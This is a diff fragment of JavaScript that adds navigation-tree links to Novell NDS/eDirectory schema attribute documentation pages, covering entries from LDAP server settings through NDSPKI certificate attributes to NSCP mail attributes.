+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Attribute Map v11 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1360.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Backup Log Filename ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1366.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Class Map v11 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1378.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Enable SSL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1384.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Enable TCP ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1390.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Enable UDP ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1396.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1402.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Host Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1408.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Log Filename ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1414.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Log Level ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1420.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Log Size Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1426.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Referral ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1432.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Screen Level ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1438.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Search Size Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1444.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Search Time Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1450.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1456.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server Bind Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1462.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server Idle Timeout ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1468.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1474.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP SSL Port ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1480.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Suffix ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1486.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP TCP Port ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1492.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP UDP Port ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1498.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:bindCatalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1516.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:bindCatalogUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1522.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:keyMaterialName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1546.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:otherReferralUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1552.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:searchCatalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1558.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:searchCatalogUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1564.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:searchReferralUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1570.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Locked By Intruder ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1576.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Lockout After Detection ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1582.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Allowed Time Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1588.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Disabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1594.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Expiration Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1600.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Grace Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1606.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Grace Remaining ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1612.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1618.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Attempts ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1624.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1630.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Reset Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1636.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Maximum Simultaneous ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1642.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Script ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1648.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1654.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Low Convergence Reset Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1660.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Low Convergence Sync Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1666.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Mailbox ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1672.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Mailbox Location ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1678.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("manager ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onljj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvAuthorizedRange ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1684.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvDefaultRange ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1690.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvDomainPolicy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1696.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvLabel ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1702.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvProposedLabel ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1708.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Member ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1726.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Members Of Template ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1732.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Memory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1738.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Message Routing Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1744.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Message Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1750.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Messaging Database Location ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1756.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Messaging Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1762.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1768.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Minimum Account Balance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1786.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("mobile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oojmc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Certificate Chain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4104.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Given Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4110.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Key File ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4116.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Key Material DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4122.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Keystore ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknqe.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Not After ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Not Before ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpe.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Parent CA ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4128.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Parent CA DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4134.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Private Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4140.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Public Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4146.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Public Key Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4152.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Cert ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknq2.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknq8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Server DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Struct ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Subject Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4158.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Tree CA DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4164.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Trusted Root Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknp8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:userCertificateInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknp2.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Network Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4170.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Network Address Restriction ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4176.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("New Object's DS Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4182.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("New Object's FS Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4188.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("New Object's Self Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4194.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NNS Domain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4338.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notify ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4374.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:administratorContactInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4392.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:adminURL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4398.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAccessDomain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4404.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAlternateAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4410.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAutoReplyMode ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4416.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAutoReplyText ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4422.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailDeliveryOption ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4428.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailForwardingAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4434.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailHost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4440.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailMessageStore ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4446.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailProgramDeliveryInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4452.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailQuota ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4458.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AnsLicenseEndTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4464.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AnsLicensedFor ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4470.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AnsLicenseStartTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4476.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:employeeNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4482.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:installationTimeStamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4488.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailRoutingAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2ixy4e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:memberCertificateDesc ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4554.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mgrpRFC822mailmember ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4560.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:ngcomponentCIS ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4572.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsaclrole ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4578.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nscreator ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4584.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsflags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4590.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
